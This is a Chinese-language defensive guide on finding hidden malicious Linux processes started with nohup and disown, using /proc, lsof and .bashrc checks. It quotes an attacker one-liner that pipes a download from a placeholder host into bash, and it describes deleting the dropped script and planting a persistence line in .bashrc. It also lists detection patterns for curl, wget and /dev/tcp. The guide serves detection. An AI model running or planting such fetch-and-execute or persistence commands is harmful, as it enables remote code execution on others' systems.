ps aux无法显示真实命令行，因默认截断且COMMAND列优先fallback至comm；攻击者用nohup+disown配合临时路径、删除原文件及混淆参数，使进程隐藏于内存中，需结合/proc/PID/cmdline、exe、environ及网络行为综合研判。
直接看 /proc 目录下进程的启动参数和可执行路径，nohup 和 disown 本身不隐藏进程，只是绕过终端信号控制——真正难发现的是它们配合临时路径、混淆参数、删除原文件后的“内存马”行为。
为什么 ps aux 看不到真实命令行？
攻击者常用 nohup bash -c 'curl http://x.x/x | bash' & 启动后立即 disown，此时 ps aux 显示的 COMMAND 列可能只显示 bash 或被截断，无法看出实际载荷。
-
ps默认只显示前 40 字符左右的命令行，长参数直接被省略 -
disown不影响进程存在，但会让它脱离 job control，jobs命令查不到 - 更隐蔽的做法是：下载脚本后立刻
rm，再用bash /tmp/.a执行，最后rm /tmp/.a——此时/proc/[PID]/exe指向(deleted)
怎么定位这类 nohup+disown 的恶意进程？
关键不是找 “nohup” 字样，而是找异常启动方式 + 异常路径 + 异常网络行为。
Linux Security Scanner
下载
Linux 安全审计工具，检查 SSH 配置、开放/监听端口、防火墙规则（ufw/iptables/nftables）、失败登录尝试、sudoers 权限...
- 用
ls -l /proc/[PID]/exe查每个可疑 PID 的真实可执行文件路径，输出含(deleted)的必须重点跟进 - 用
cat /proc/[PID]/cmdline | tr '\0' '\n'完整还原启动参数（注意\0分隔），能暴露 base64 解码、远程下载等逻辑 - 用
lsof -p [PID] -i看该进程是否在连接非常规 IP 或端口（如大量连接矿池域名、C2 的 HTTPS 高位端口） - 对 CPU 占用高但
ps显示命令名极短的进程（如只有sh、bash、python），优先检查其/proc/[PID]/cwd和/proc/[PID]/environ
哪些路径和参数组合基本等于可疑？
不用逐个猜，盯死这几类硬特征：
- 可执行路径在
/tmp、/dev/shm、/var/tmp下，且文件名含随机字符（如.X11-unix/.a、/tmp/kthreadd） -
cmdline中出现curl、wget、base64、echo.*|.*sh、nohup.*&、/dev/tcp/等组合 - 进程属主是普通用户，但监听了高位端口（如
:31337、:55555）或向外发起大量ESTABLISHED连接 -
lsof -p [PID] -a -d cwd显示当前工作目录是/tmp或空路径（说明启动时未指定目录）
别漏掉环境变量和父进程线索
很多 nohup 进程是从 shell 初始化文件里拉起的，比如 ~/.bashrc 末尾藏了一行 nohup /tmp/.b && disown。
- 运行
grep -E "(nohup|disown|&&|&)" ~/.bashrc ~/.profile ~/.bash_profile 2>/dev/null快速扫一遍 - 用
ps -o ppid= -p [PID]查父进程 ID，再用ps -fp [PPID]看它是谁拉起来的——常指向sshd或某个登录 shell - 检查
/proc/[PID]/environ，用strings /proc/[PID]/environ | grep -E "(http|curl|wget)"，有时 URL 藏在环境变量里
最麻烦的情况是：进程没落地文件、没写日志、父进程已退出，只剩一个孤零零的 bash 在跑。这时候必须结合 netstat -tunap 或 lsof -i 锁定外连目标，再反向查哪个进程在持续发包——因为 nohup 和 disown 只是“甩手”，不解决通信本质。
